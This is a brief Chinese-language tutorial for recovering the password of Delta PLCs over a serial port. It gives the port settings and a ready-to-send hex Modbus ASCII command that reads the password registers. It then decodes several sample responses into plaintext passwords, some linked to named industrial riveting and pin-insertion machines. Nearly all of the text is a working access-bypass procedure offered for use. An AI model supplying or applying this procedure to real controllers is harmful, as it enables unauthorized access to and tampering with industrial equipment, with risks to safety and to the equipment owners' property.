台达PLC密码破解

大部分台达PLC密码破解方案如下：

需要用到串口调试软件

1.先把WPLSoft（台达梯形图软件）关了

2.打开串口软件

如图：

设置端口：COM0-COM5之间

设置波特率：9600

数据位：7

校验位：偶

停止位：1

发送16进制代码：

3A 30 31 30 33 31 33 46 35 30 30 30 32 46 32 0D 0A 破解代码

3.查看返回的代码：

例如：

接收的代码

3A 30 31 30 33 30 34 33 31 33 32 33 33 33 34 32 45 0D 0A

33 31 33 32 33 33 33 34 密码是1234

3A 30 31 30 33 30 34 33 36 33 37 33 38 33 39 31 41 0D 0A

33 36 33 37 33 38 33 39 密码是6789

3A 30 31 30 33 30 34 33 30 33 34 33 32 33 35 32 44 0D 0A

33 30 33 34 33 32 33 35 密码是0425

3A 30 31 30 33 30 34 33 30 33 31 33 31 33 39 32 44 0D 0A KCD106插脚机

33 30 33 31 33 31 33 39 密码是0119

3A 30 31 30 33 30 34 33 30 33 35 33 30 33 38 32 42 0D 0A

33 30 33 35 33 30 33 38 密码是0508 KCD-101A铆点机

3A 30 31 30 33 30 34 33 30 33 31 33 31 33 35 33 31 0D 0A

33 30 33 31 33 31 33 35 密码是0115 KCD1-103B-T铆点机

3A 30 31 30 33 30 34 30 30 30 30 30 30 30 30 46 38 0D 0A

30 30 30 30 30 30 30 30 密码是没密码